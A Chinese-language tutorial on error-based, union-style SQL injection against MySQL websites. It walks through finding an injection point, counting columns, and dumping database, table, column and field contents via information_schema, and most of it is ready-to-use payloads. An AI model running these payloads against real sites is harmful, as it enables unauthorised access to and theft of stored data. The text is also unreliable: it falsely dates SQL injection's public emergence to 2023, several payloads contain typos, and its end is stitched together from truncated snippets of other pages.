sql注入本質
談到sql注入前我們先談談什麼是注入
注入攻擊的本質,是把使用者輸入的資料當做**執行
有兩個關鍵條件:
1.使用者輸入的資料控制輸入
2.原本程式要執行的**,拼接了使用者輸入的資料然後進行執行
sql注入就是針對sql語句的注入,也可以理解為使用者輸入的資料當作sql語句的**執行。
sql注入是2023年一名叫做rfp的黑客發表的一篇文章所進入大眾實現。
我們今天先介紹顯錯注入
顯錯注入的做法
判斷注入點:
最古老的做法:
and 1=1 //頁面正常
and 1=2 //頁面不正常
最簡單的方法: 頁面傳參後面加 』 ,看是否報錯
其他方法:
如果是數字型傳參,可以嘗試-1
例如: 頁面顯示id=1的新聞
頁面顯示id=1的新聞
因為and 1=1 and 1=2 被攔截的可能性太高了
這裡可以嘗試and -1=-1 和and -1=-2
還可以 or sleep(5)
顯錯注入-聯合查詢(mysql資料庫)基本流程
1.是否存在注入點
2.猜解字段數
3.聯合查詢尋找輸出點
4.去系統自帶庫查詢表名、欄位名
5.查詢我們需要的字段值
顯錯注入的過程
mysql注入:
判斷當前頁面字段總數
and 1=1 order by 1,2,3,4,5…
判斷顯示位:
and 1=2 union select 1,2,3,4,5…(這裡union select 前面的語句為假時才會執行後面的語句)
檢視當前資料庫:
and 1=2 union select 1,2 schema_name from information_schema.schema
and 1=2 unoin select 1,2,database()
查詢表名:
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
查詢列名:
and 1=2 union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name=表名的16進製制 limit 0,1
查詢字段內容:
and 1=2 union select 1,2,列名,4 from 表名 limit 0,1…
sql注入常用函式:
group_concat(col) //返回由屬於一組的列值連線組合而成的結果
ascll(char) //返回字元的ascll碼值
database() //返回當前資料庫名
system_user() //返回當前登入使用者名稱
version() //返回mysql伺服器的版本
sleep(n) //休眠n秒
SQL注入 顯錯注入
顯錯注入 步驟1 判斷是否存在注入點 步驟2 猜解字段數 步驟3 聯合查詢找出輸出點 步驟4 去系統自帶庫查詢表名和欄位名 步驟5 查詢我們需要的欄位名 步驟1 判斷是否存在注入點 192.168.1.10 1 id 1 這裡可以用id 1 來確定是否存在注入點,192.168.1.10 1 id ...
sql注入之顯錯注入
1.判斷是否存在注入點 在正常輸入後面新增and 1 1 檢視是否正常回顯。如果一切正常說明該處存在注入點。是資料庫查詢的結束標誌。id 1 and 1 1 這裡的?id 1 使用單引號閉合查詢語句。不同的查詢寫法使用響應的閉合方式 2.猜解字段數。每乙個資料庫查詢語句的結果都是乙個 使用order...
mysql錯誤回顯注入 sql注入 顯錯注入
前提知識 資料庫 就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合 資料庫結構 庫 就是一堆表組成的資料集合 表 類似 excel,由行和列組成的二維表 字段 表中的列稱為字段 記錄 表中的行稱為記錄 單元格 行和列相交的地方稱為單元格 在資料庫裡有乙個系統庫 inform...